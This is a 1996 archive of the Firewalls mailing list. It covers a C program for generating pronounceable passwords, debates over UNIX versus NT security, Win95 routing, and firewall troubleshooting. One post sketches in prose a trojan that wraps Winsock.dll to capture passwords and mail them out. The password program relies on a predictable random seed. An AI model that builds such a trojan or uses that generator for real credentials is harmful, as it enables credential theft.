a personal mail. If the latter, do not CC the firewalls list with the reply ]

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug@eng.auburn.edu
		Pro is to Con as progress is to congress

From firewalls-owner  Fri Mar  8 07:38:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA23445 for firewalls-outgoing; Fri, 8 Mar 1996 06:38:17 -0800 (PST)
Received: from cpmt2.cyberport.net (cpmt2.cyberport.net [204.94.49.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA23440 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 06:38:12 -0800 (PST)
Received: from cyb-pm1-003.cyberport.net (cyb-pm1-003.cyberport.net [204.94.49.63]) by cpmt2.cyberport.net (8.6.9/8.6.9) with SMTP id HAA25552 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 07:36:40 -0700
Message-Id: <199603081436.HAA25552@cpmt2.cyberport.net>
Comments: Authenticated sender is <rowens@cpmt2.cyberport.net>
From: rowens@cyberport.net
Organization: Flathead Valley Community College
To: firewalls@GreatCircle.COM
Date: Fri, 8 Mar 1996 07:36:21 +0000
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Password generating program
X-mailer: Pegasus Mail for Windows (v2.23)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On  7 Mar 96 at 8:55, Bob Konigsberg <bobk@manzanita.DEV.3Com.COM> 
wrote:

> I've heard that there is a password generating program that will generate
> fairly random, but pronounceable passwords.
> 
> If anyone knows of the source of such a program, I'd appreciate hearing
> from them.  Unless they do, I'll return the source of information to the list.

The following program might be of use.  Make sure to change the MAGIC 
numbers to something else.
----------snip----------
/* genp - generate pronounceable passwords.
 * David Sherman, The Law Society of Upper Canada, dave@lsuc.on.ca
 */

/* USENET message header for source:
     From: dave@lsuc.on.ca (David Sherman|LSUC|Toronto)
     Newsgroups: alt.security,alt.sources
     Subject: Re: automatic password creation
     Message-ID: <1990May13.224948.2139@lsuc.on.ca>
     Date: 13 May 90 22:49:48 GMT
*/

/* Modified away from original source to preserve uniqueness, by Rick 
Owens. */
/* Usage:  genp [<number>] [-#]                                       
       */
/* Where <number> is the number of passwords to be generated and '-#' 
is a   */
/* switch which generates passwords with numbers as well as letters.  
       */
/* Example:  'genp 15 -#' will print 15 passwords, some of which will 
have   */
/* random digits as well as letters.                                  
       */

/* @(#)/usr/local/source/genp/s.genp.c version 1.3 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

#define DEFTOTAL 50

#define MAGIC1 3
#define MAGIC2 5
#define MAGIC3 8 


char pwd[100];
char *vowels[] =
{
	"a",
	"e",
	"i",
	"o",
	"u",
	"y",
	"ai",
	"ay",
	"ar",
	"al",
	"el",
	"er",
	"ou",
	"oy",
	"ow",
	"or",
	"ax",
	"ex",
	"ix",
	"il",
	0
};

char *consonants[] =
{
	"b",
	"c",
	"d",
	"f",
	"g",
	"h",
	"j",
	"k",
	"m",
	"n",
	"p",
	"s",
	"t",
	"v",
	"z",
	"ch",
	"dr",
	"fl",
	"kn",
	"kr",
	"sh",
	"sm",
	"sn",
	"st",
	"th",
	0
};


main(argc, argv)
	char **argv;
{
	register int maxvowels, maxcons;
	int total;
	register int r, i;
	int j,len;
	int use_numbers=0;
	char **p;
	time_t timer;

	if(argc < 2)   /* No arguments? */
		total = DEFTOTAL;
	else
	{
		if (strcmp(argv[argc-1],"-#")==0)  /* Numbers switch? */
			use_numbers++;
		if ( ((argc == 2) && (use_numbers==0)) ||  /* Count provided? */
		      (argc == 3) )
			total = atoi(argv[1]);
	}
	if(total < 1)
		total = DEFTOTAL;

	for(p=vowels; *p; p++)
		;
	maxvowels = p-vowels;

	for(p=consonants; *p; p++)
		;
	maxcons = p-consonants;


	srandom( (unsigned) (getpid()*time(&timer)) );  /* Note addition of 
time call to widen the set of possible seed values. */

	for(j=0; j<total; j++)
	{
		r = random();
		strcpy(pwd, consonants[r%maxcons]);
		for(i=r%MAGIC1; i>0; i--)
			r = random();
		strcat(pwd, vowels[r%maxvowels]);
		r = random();
		strcat(pwd, consonants[r%maxcons]);
		for(i=r%MAGIC2; i>0; i--)
			r = random();
		strcat(pwd, vowels[r%maxvowels]);
		r = random();
		strcat(pwd, consonants[r%maxcons]);
		for(i=r%MAGIC3; i>0; i--)
			r = random();
		strcat(pwd, vowels[r%maxvowels]);

		if (use_numbers)
		{
		   r = random();
		   for(i=r%3,len=strlen(pwd);i>0;i--)
		      pwd[random()%len]='0'+random()%10;    /* Pick a random 
character in the password, and /*
							/* replace it with a number. */
		}
		puts(pwd);
	}
}
----------snip---------- 
HTH.
-------------------------------------------------------
Rick Owens <rowens@cyberport.net>
Comp. Op. Tech (aka admin. sysop)
Flathead Valley Community College
Kalispell, MT
#include <std-disclaim.h>
-------------------------------------------------------

From firewalls-owner  Fri Mar  8 08:12:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA23474 for firewalls-outgoing; Fri, 8 Mar 1996 06:39:04 -0800 (PST)
Received: from bsd.synx.com (rt.synx.com [194.167.81.239]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA23431 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 06:38:01 -0800 (PST)
Received: from s3.synx.com (s3 [192.1.1.247]) by bsd.synx.com (8.6.12/8.6.12) with SMTP id PAA10916; Fri, 8 Mar 1996 15:31:51 +0100
Received: from rs1 by s3.synx.com id aa18553; 8 Mar 96 15:19 GMT
Date: Fri, 8 Mar 1996 15:30:57 -2300 ()
From: Remy NONNENMACHER <remy@synx.com>
To: Peter da Silva <peter@nmti.com>
cc: firewalls@greatcircle.com
Subject: Re: UNIX CVirus - 2nd try (pt 1)
In-Reply-To: <9603071731.AA31574@sonic.nmti.com.nmti.com>
Message-ID: <Pine.A32.3.91.960308150448.16912A-100000@rs1>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Thu, 7 Mar 1996, Peter da Silva wrote:

> ....
> 
> NT is a different matter, since in the normal configuration users have write
> access to %systemroot%... a shared executable location that is required by
> the vast majority of DOS software. The fact that Microsoft encourages software
> developers to design their packages to install into %systemroot% means this
> problem is not going to get fixed.
> 
> In any case... while it's clear that complete immunity to viruses in UNIX is
> a myth, statements like "Unix systems are as susceptible to hostile software
> attacks as any other system" are simply alarmist. UNIX is a lot harder to
> automatically attack than most of the systems on people's desktops today. No,
> it's not immune. But it's definitely resistant.
> 

That's right. What about the interface between Windows and Unix ?

Let's imagine the following scheme :

Somebody (let's say I), write a Trojan Horse in a splendid FreeWare app. (let's
say an wonderfull 'xperfmon' command for NT, in order to match aministrators
needsi, or a netalerter for Windows)

This trojan part hack your Winsock.dll by replacing the public names, backup it
and install a new wrapped Winsock.dll that will call the old one.

Well, Great !!, Now this hacked version passes back and forth all your calls
and traces your connections. Let's say it is full provided of what is necessary
to understand telnet connexions, password exchanges, etc... It can also
determine what is your mail gateway (by observing smtp, POP, etc... connections)
Then, it mail interesting informations about your UNIX machines and
configurations to a mail relay (then to me, of course !).

May be, it can observe root passwords or replies to 'su'. (Remember it sees
*EVERYTHING* you put or receive on your coax (socket conns only)).

Q1: does anybody knows when this attack was attempted (or when it will !!) ?
Q2: How to protect ? (fire yourself if your reply is 'filter mail containing
root password' ;-) )

-------------------------------------------------------------------------------
     __   ________    
 |\  \ \  \      /  /|
 | \  \ \  \    /  / |    S Y N C H R O N I X  S.A.
 |  \  \ \  \  /  /  |    -------------------------
 |   \  \ \  \/__/   |
 |    \  \ \  \      |  Avn des ANDES, Bat. LE CEDRE - 91952 LES ULIS - FRANCE
 |     \  \ \  \     |
 |      \  \ \  \    |     Tel : +33 1 64462626  -  FAX : +33 1 64466976   
 |______/   \ \  \   |    Internet : Synx.com
            /  \  \  |
  _________/    \  \ |  Remy NONNENMACHER - APAV Dpt. (remy@synx.com)
 |_______________\  \| 

------------------------

#include <Following-tags-are-my-own-and-not-of-my-employer>
#include <Copyright-GNU-like-but-excludes-M$-network(s)-and-affiliates>

"ALWAYS remember distinction between Utlannings, Framlings, Ramen and Varelses"
(Orson Scott Card - Ender Trilogy)

--

Translated from the back of 'inside Windows 95' by Adrian King, French Edition :
(Copyright M$-Press)

	"While resting in her lodge still for a short while,
	 polishing even more her talented achievement and
	 her dazzlingly conjuring tricks, Windows 95 confides
	 herself, in a preview, to her impatiently stamping
	 audience demanding the upcoming of the Star."

Now, try to think that M$ is *NOT* a sect !!.
(If you can, learn that the Designer of this book is 'Amon-Ra'. Now retry !!)


From firewalls-owner  Fri Mar  8 08:18:24 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA26714 for firewalls-outgoing; Fri, 8 Mar 1996 07:28:45 -0800 (PST)
Received: from hp01.vak12ed.edu (hp01.vak12ed.edu [141.104.150.251]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA26709 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 07:28:38 -0800 (PST)
Message-Id: <199603081528.HAA26709@miles.greatcircle.com>
Received: by hp01.vak12ed.edu
	(1.38.193.5/16.2) id AA25533; Fri, 8 Mar 1996 10:26:31 -0500
From: "W.C. Epperson" <epperson@vak12ed.edu>
Subject: Re: FW: Security of Networked Workstations with dial-up...
To: firewalls@greatcircle.com
Date: Fri, 08 Mar 1996 10:26:31 EST
In-Reply-To: <31405B70@mailhub.crtinc.com>; from "Husa, Carl" at Mar 08, 96 8:22 am
X-Mailer: Elm [revision: 109.16]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Russ, then Ben, said:
> 
> >Win95 can easily be configured as a PPP-LAN router through the registry,   
> so
> >treat it as you would NT in that regard (powerful stuff that dial-up
> >networking...).
> 
> >Cheers,
> >Russ
> 
> 
> while its true that you can make that adjustment in the registry, and it   
> might work (and then again might not!), Microsoft will not support   
> Windows95 configured with iprouting enabled (and they say so in January   
> Technet)
> 
Well, then.  If they won't support it, guess we don't have to worry
about it.  8*(,)
--
W.C. Epperson			"I have great faith in fools. 
Senior SE                        Self-confidence, my friends call it."
Information Security Officer             --Edgar Allan Poe--
DBA Emeritus
Curmudgeon-for-Life
Virginia Dept. of Education	        
epperson@pen.k12.va.us

From firewalls-owner  Fri Mar  8 08:26:00 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA24437 for firewalls-outgoing; Fri, 8 Mar 1996 06:56:48 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA24430 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 06:56:43 -0800 (PST)
Received: from clark.net (proberts@clark.net [168.143.0.7]) by mail.Clark.Net (8.7.3/8.6.5) with ESMTP id JAA08008; Fri, 8 Mar 1996 09:55:17 -0500 (EST)
Received: (from proberts@localhost) by clark.net (8.7.1/8.7.1) id JAA23903; Fri, 8 Mar 1996 09:55:16 -0500 (EST)
Date: Fri, 8 Mar 1996 09:55:15 -0500 (EST)
From: "Paul D. Robertson" <proberts@clark.net>
To: "Husa, Carl" <carl@crtinc.com>
cc: "'firewalls@greatcircle.com'" <firewalls@GreatCircle.COM>
Subject: Re: FW: Security of Networked Workstations with dial-up PPP Intern et!!!
In-Reply-To: <31405B70@mailhub.crtinc.com>
Message-ID: <Pine.SOL.3.91.960308095302.21012B-100000@clark.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 8 Mar 1996, Husa, Carl wrote:

> while its true that you can make that adjustment in the registry, and it   
> might work (and then again might not!), Microsoft will not support   
> Windows95 configured with iprouting enabled (and they say so in January   
> Technet)
> 
And the difference between a vendor supported hole in a firewall, and an 
unsupported one is....?

Is there anyone who can acutually confirm or deny that Win95 will do 
iprouting all by its lonesome?

Paul.
-----------------------------------------------------------------------------
Paul D. Robertson      "My statements in this message are personal opinions
proberts@clark.net      which may have no basis whatsoever in fact."
                                                                     PSB#9280


From firewalls-owner  Fri Mar  8 08:56:02 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA24549 for firewalls-outgoing; Fri, 8 Mar 1996 06:58:02 -0800 (PST)
Received: from HQ.rs.af.mil (HQ.rs.af.mil [131.44.72.250]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA24530 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 06:57:36 -0800 (PST)
Received: from pc14.rs.af.mil by HQ.rs.af.mil id aa18928; 8 Mar 96 8:53 CST
Message-ID: <31404C2C.582F@HQ.rs.af.mil>
Date: Fri, 08 Mar 1996 09:03:08 -0600
From: "Robb R. Smith II" <smithr@HQ.rs.af.mil>
Organization: HQ Air Force Recruiting Service
X-Mailer: Mozilla 2.0GoldB1 (WinNT; I)
MIME-Version: 1.0
To: Peter da Silva <peter@nmti.com>
CC: goertzek@wangfed.com, firewalls@GreatCircle.com
Subject: Re: UNIX CVirus - 2nd try (pt 1)
References: <9603071731.AA31574@sonic.nmti.com.nmti.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

What do you consider "normal configuration"?

If you are referring to default installation, then you're opening your statement to 
ridicule. (i.e. SUN OS (Unix), HP-UX, SCO-Unix all have holes in their default 
installation. 

I work extensively (administer, configure, develop applications) with SCO (1400 
systems), and HP-UX (3 HP9000, 3 HP750) and NT (1 DEC-Alpha, 4 x86) and I feel NT 
comes with much more security functions/capabilities than UNIX. 

 /\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_\
/                                                                \
\  Robb R. Smith II               Voice: 210.652.5255            /       
/  2201 3rd Ave West #557         Fax:   210.652.6822            \
\  Randolph AFB, TX 78148         http://smith.stic.net          /
/                                                                \
\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/\_/

From firewalls-owner  Fri Mar  8 08:57:13 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA24264 for firewalls-outgoing; Fri, 8 Mar 1996 06:54:11 -0800 (PST)
Received: from buddy.zerby.com (buddy.zerby.com [205.254.178.203]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA24231 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 06:54:02 -0800 (PST)
From: jwright@zerby.com
Received: (from jwright@localhost) by buddy.zerby.com (8.7/8.7.3) id JAA03064 for firewalls@GreatCircle.COM; Fri, 8 Mar 1996 09:52:31 -0500
Message-Id: <199603081452.JAA03064@buddy.zerby.com>
Subject: Chameleon NetManage FTP/Raptor FW
To: firewalls@GreatCircle.COM
Date: Fri, 8 Mar 1996 09:52:31 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Howdy,

I find myself in the unenviable position of having to support a Raptor 
firewall.  I am having nothing but problems with the crazy thing and all that I
can say is that I am glad I wasn't involved in the purchase decision.

Has anyone gotten Chameleon Netmanage 4.5's FTP to work through the thing with
gateway authentication?  After my previous experiences with the Raptor's tech
support and after reading this:

"When user authentication is being enforced at the Eagle it requires the use ofi
the account command to exchange the users gateway password. Many windowed ftp 
clients don't provide access to this command and therefore fail when trying to 
pass through the Eagle." (from the FAQ on Raptor's web site)

I don't think that I am going to get much help from Raptor.

Normally, I'd recommend my client switch to a non-windowed FTP on their PC's,
but they rolled out I don't know how many copies of Chameleon before they went
firewall shopping...

Jason

-- 
"We look hard, we look through, we look hard to see for real" Sisters of Mercy
http://www.zerby.com/peewee  WORK jwright@netrex.com PERSONAL peewee@zerby.com
"....and stop stomping around like that so much!!"   --Deanna Yow, on 12/18/95

From firewalls-owner  Fri Mar  8 09:05:04 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA00689 for firewalls-outgoing; Fri, 8 Mar 1996 08:29:05 -0800 (PST)
Received: from mcfeely.bsfs.org (mcfeely.bsfs.org [204.91.13.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA00662 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:28:56 -0800 (PST)
Received: (from wombat@localhost) by mcfeely.bsfs.org (8.6.12/8.6.12) id LAA14174; Fri, 8 Mar 1996 11:24:04 -0500
Date: Fri, 8 Mar 1996 11:24:00 -0500 (EST)
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
To: firewalls@greatcircle.com
Subject: Re: Password generating program
In-Reply-To: <doug-9602081413.AA0032430@netman.eng.auburn.edu>
Message-ID: <Pine.BSF.3.91.960308112003.14153B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I heard about a U.S. Air Force site that forced a password generating 
program on its users. It generated passwords that weren't pronounceable, 
either.

The security audit team that went through found their way in to about 80% 
of the systems by looking at the passwords written on sticky notes, etc. 
in the immediate vicinity of the user's terminal/workstation.

IMHO, it is better to teach users to use secure passwords, and check for 
non-secure ones. Anybody have a way of doing this when the password is 
generated, rather than running CRACK every now and then?

----------------------------------------
Rabid Wombat
wombat@mcfeely.bsfs.org
----------------------------------------





On Fri, 8 Mar 1996, Doug Hughes wrote:

> 
> We've got one that a former employee here (now workin for Sun) wrote.
> It works well. They aren't pronounceable, but the are a mixture of
> lower and uppercase letters and numbers.
> 
> ftp.eng.auburn.edu:/pub/doug/rndpasswd.c
> 
> [ This message has been sent to the firewalls list. If you wish to reply
> to it, please reply to the list and not to me directly, unless it is 
> a personal mail. If the latter, do not CC the firewalls list with the reply ]
> 
> --            
> ____________________________________________________________________________
> Doug Hughes					Engineering Network Services
> System/Net Admin  				Auburn University
> 			doug@eng.auburn.edu
> 		Pro is to Con as progress is to congress
> 

From firewalls-owner  Fri Mar  8 09:10:53 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA28906 for firewalls-outgoing; Fri, 8 Mar 1996 08:02:39 -0800 (PST)
Received: from WVLINK.MPL.COM (WVLINK.MPL.COM [198.77.4.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA28901 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:02:32 -0800 (PST)
Date: Fri, 8 Mar 1996 08:02:32 -0800 (PST)
Message-Id: <199603081602.IAA28901@miles.greatcircle.com>
Received: from pc-1.mpl.com by WVLINK.MPL.COM (MX V4.0 VAX) with SMTP; Fri, 08
          Mar 1996 11:00:39 EST
X-Sender: jim@wvlink.mpl.com
X-Mailer: Windows Eudora Version 2.0.3
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: <wombat@mcfeely.bsfs.org>, firewalls@greatcircle.com
From: jim@wvlink.mpl.com (Jim Poling)
Subject: Re: Firewall with no Internet Connection
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Could you ping through the firewall system before adding the firewall (in 
>other words, was the system housing the firewall routing between 
>interfaces before any rules werre imposed) ?
>
>----------------------------------------
>Rabid Wombat
>wombat@mcfeely.bsfs.org
>----------------------------------------
>

No, the sole purpose of the system housing the firewall, is just the
firewall.  Before the firewall, there was just a direct connection.  Are you
saying that
the packets aren't getting routed? 
>
>
>
>
>On Wed, 6 Mar 1996, Jim Poling wrote:
>
>> I'm trying to get a BorderWare Firewall server to work on my client's VERY
>> large internal network, as a secure was of authenticating dialup PPP users
>> between the terminal server (Only thing on the external side of the FW),
>> and the large internal network.
>> 
>>    I've got the newest demo of the borderware FW server, 
>> and I'm getting the following syptoms.
>> 
>>         -Internal network can ping internal side of Firewall and Vice Versa.
>> 
>>         -External network can ping external side of Firewall and Vice Versa.
>>         -Internal network cannot ping either external side of FW or external
>> network, and Vice Versa.
>> 
>>    In the General Log section, it says
>> 
>> Mar 6, 17:21:40 PWC Kernel kpf rule
#10,ef0,141.192.100.102,0,141.192.100.101,
>> 8,0,1,permit
>> (This is internal terminal server to external FW)
>> 
>> Mar 6, 17:21:47 PWC Kernel kpf rule #14,ef0,141.192.100,102,0,141.119.42.245,
>> 8,1,1,deny
>> (This is external terminal server to internal FW)
>> 
>> At least I know it can't be a cabling problem now.  The FW is actually
denying
>> access to the internal network, and all of the PING's are turned on.  As a
>> matter
>> of fact I went ahead and turned EVERYTHING on to be sure.
>> 
>> Anybody have any clues?
>> 
>> Thanks,
>> -JIM Poling
>>  MPL Corp.
>>  Buckhannon, WV
>>  (304)472-9520
>>  JIM@WVLINK.MPL.COM
>> 


From firewalls-owner  Fri Mar  8 09:17:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA29751 for firewalls-outgoing; Fri, 8 Mar 1996 08:16:07 -0800 (PST)
Received: from iez.com (mail.iez.com [194.218.38.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA29718 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:15:46 -0800 (PST)
Received: by iez.com (AIX 3.2/UCB 5.64/4.03)
          id AA10982; Fri, 8 Mar 1996 17:14:52 +0100
Received: from spibm02(172.16.13.62) by iez.com via smap (V1.3)
	id sma011492; Fri Mar  8 17:14:38 1996
Received: from iez.com by spibm02 (AIX 3.2/UCB 5.64/4.03)
          id AA11731; Fri, 8 Mar 1996 17:12:04 +0100
Message-Id: <9603081612.AA11731@spibm02>
Received: from inhps-a by iez.com with SMTP
	(1.37.109.4/16.2) id AA01060; Fri, 8 Mar 96 17:12:03 +0100
Received: by inhps-a
	(1.38.193.3/16.2) id AA12962; Fri, 8 Mar 96 17:12:01 +0100
From: Rolf Weber <weber@iez.com>
Subject: Re: Eternal war: gateway versus filtering
To: frankw@in.net (Frank Willoughby)
Date: Fri, 8 Mar 1996 17:12:01 +0100 (MEZ)
Cc: firewalls@greatcircle.com (firewalls)
In-Reply-To: <9603081305.AA24667@su1.in.net> from "Frank Willoughby" at Mar 8, 96 08:05:44 am
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> >>...but i'm sure, it's only a question of time till vendors will offer
> >>both, application level and packet filtering firewalls. 
> 
> Perhaps - although I doubt if they would incorporate both into the same
> product.
> 
that was my point to say, sorry for my unclear words.

> >>a very good argument if they are acting as a consulter, too.
> >
> 
> I disagree here.  Having the firewall vendor acting as a consultant puts
> the vendor in a conflict-of-interest situation.  (Sort of like turning
> the keys of the prison over to the inmates and telling them they are not
> supposed to leave the premises).
> 
again, i didn't say it clear enough.
if a vendor offers both, he can advise his customers much better which art
of firewall would be the best for *this* customer.
the daily maintaining of the firewall is another story.

> 
> Agreed.  Putting different levels of security in parallel will ensure
> that the weaker of the two will be used to bypass the stronger security.
>
obviously :-)

> 
> Also, it is a good idea to put an IP Packet Filter (on the Internet/untrusted
> side) in series with the firewall (with the IP Packet Filter set up so
> that it filters the exact same items as the firewall).  There are two 
> advantages to this:
> 
> o There will be an increase in performance in the firewall.  
>   Since the IP Packet Filter is blocking services that the firewall will
>   also block, the firewall won't be wasting its CPU resources blocking a 
>   connection which is going to be rejected anyway.
>
no, i disagree.
i'm watching my connection and see that 99.9% of the packets are allowed
packets (i'm filtering only the real necessary, like IP-spoofing stuff,
all the other i want to welcome at my gate :-).
(BTW, if a gate is under attack, 99.9% isn't true anymore...but you can see
it as a feature, if a gate under attack becomes slow...;-)
i'm sure the additional task, packet filtering, decreases the performance
of the whole firewall system.

> 
> o The IP Packet Filter can act as a crude (and inadequate) first layer of 
>   defense in protecting the company's networks.  If the Firewall Admin 
>   makes a mistake in setting up the firewall rules, the IP Packet Filter 
>   will help reduce the risk (somewhat) of the company's exposure to the
>   Internet.  While a successful attack is possible under these circumstances,
>   it may buy enough time for Firewall Admin to catch the mistake and take
>   appropriate corrective actions.
> 
> 
> In the above instances, a router may be sufficient to serve as the IP 
> Packet Filter (a low-cost option worth considering).  For the ultra-
> paranoid who can afford it, place a stateful IP Packet Filter in series
> between the external router & the (Applications Gateway) Firewall.
> 
true.

rolf
-- 
-----------------------------------------
Rolf Weber <weber@iez.com> | All I ask is a chance
IEZ AG   D-64625 Bensheim  | to prove that money
++49-6251-1309-113         | can't make me happy.

From firewalls-owner  Fri Mar  8 14:46:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA00689 for firewalls-outgoing; Fri, 8 Mar 1996 08:29:05 -0800 (PST)
Received: from mcfeely.bsfs.org (mcfeely.bsfs.org [204.91.13.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA00662 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:28:56 -0800 (PST)
Received: (from wombat@localhost) by mcfeely.bsfs.org (8.6.12/8.6.12) id LAA14174; Fri, 8 Mar 1996 11:24:04 -0500
Date: Fri, 8 Mar 1996 11:24:00 -0500 (EST)
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
To: firewalls@greatcircle.com
Subject: Re: Password generating program
In-Reply-To: <doug-9602081413.AA0032430@netman.eng.auburn.edu>
Message-ID: <Pine.BSF.3.91.960308112003.14153B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I heard about a U.S. Air Force site that forced a password generating 
program on its users. It generated passwords that weren't pronounceable, 
either.

The security audit team that went through found their way in to about 80% 
of the systems by looking at the passwords written on sticky notes, etc. 
in the immediate vicinity of the user's terminal/workstation.

IMHO, it is better to teach users to use secure passwords, and check for 
non-secure ones. Anybody have a way of doing this when the password is 
generated, rather than running CRACK every now and then?

----------------------------------------
Rabid Wombat
wombat@mcfeely.bsfs.org
----------------------------------------





On Fri, 8 Mar 1996, Doug Hughes wrote:

> 
> We've got one that a former employee here (now workin for Sun) wrote.
> It works well. They aren't pronounceable, but the are a mixture of
> lower and uppercase letters and numbers.
> 
> ftp.eng.auburn.edu:/pub/doug/rndpasswd.c
> 
> [ This message has been sent to the firewalls list. If you wish to reply
> to it, please reply to the list and not to me directly, unless it is 
> a personal mail. If the latter, do not CC the firewalls list with the reply ]
> 
> --            
> ____________________________________________________________________________
> Doug Hughes					Engineering Network Services
> System/Net Admin  				Auburn University
> 			doug@eng.auburn.edu
> 		Pro is to Con as progress is to congress
> 

From firewalls-owner  Fri Mar  8 14:58:21 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA28906 for firewalls-outgoing; Fri, 8 Mar 1996 08:02:39 -0800 (PST)
Received: from WVLINK.MPL.COM (WVLINK.MPL.COM [198.77.4.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA28901 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 08:02:32 -0800 (PST)
Date: Fri, 8 Mar 1996 08:02:32 -0800 (PST)
Message-Id: <199603081602.IAA28901@miles.greatcircle.com>
Received: from pc-1.mpl.com by WVLINK.MPL.COM (MX V4.0 VAX) with SMTP; Fri, 08
          Mar 1996 11:00:39 EST
X-Sender: jim@wvlink.mpl.com
X-Mailer: Windows Eudora Version 2.0.3
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: <wombat@mcfeely.bsfs.org>, firewalls@greatcircle.com
From: jim@wvlink.mpl.com (Jim Poling)
Subject: Re: Firewall with no Internet Connection
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Could you ping through the firewall system before adding the firewall (in 
>other words, was the system housing the firewall routing between 
>interfaces before any rules werre imposed) ?
>
>----------------------------------------
>Rabid Wombat
>wombat@mcfeely.bsfs.org
>----------------------------------------
>

No, the sole purpose of the system housing the firewall, is just the
firewall.  Before the firewall, there was just a direct connection.  Are you
saying that
the packets aren't getting routed? 
>
>
>
>
>On Wed, 6 Mar 1996, Jim Poling wrote:
>
>> I'm trying to get a BorderWare Firewall server to work on my client's VERY
>> large internal network, as a secure was of authenticating dialup PPP users
>> between the terminal server (Only thing on the external side of the FW),
>> and the large internal network.
>> 
>>    I've got the newest demo of the borderware FW server, 
>> and I'm getting the following syptoms.
>> 
>>         -Internal network can ping internal side of Firewall and Vice Versa.
>> 
>>         -External network can ping external side of Firewall and Vice Versa.
>>         -Internal network cannot ping either external side of FW or external
>> network, and Vice Versa.
>> 
>>    In the General Log section, it says
>> 
>> Mar 6, 17:21:40 PWC Kernel kpf rule
#10,ef0,141.192.100.102,0,141.192.100.101,
>> 8,0,1,permit
>> (This is internal terminal server to external FW)
>> 
>> Mar 6, 17:21:47 PWC Kernel kpf rule #14,ef0,141.192.100,102,0,141.119.42.245,
>> 8,1,1,deny
>> (This is external terminal server to internal FW)
>> 
>> At least I know it can't be a cabling problem now.  The FW is actually
denying
>> access to the internal network, and all of the PING's are turned on.  As a
>> matter
>> of fact I went ahead and turned EVERYTHING on to be sure.
>> 
>> Anybody have any clues?
>> 
>> Thanks,
>> -JIM Poling
>>  MPL Corp.
>>  Buckhannon, WV
>>  (304)472-9520
>>  JIM@WVLINK.MPL.COM
>> 


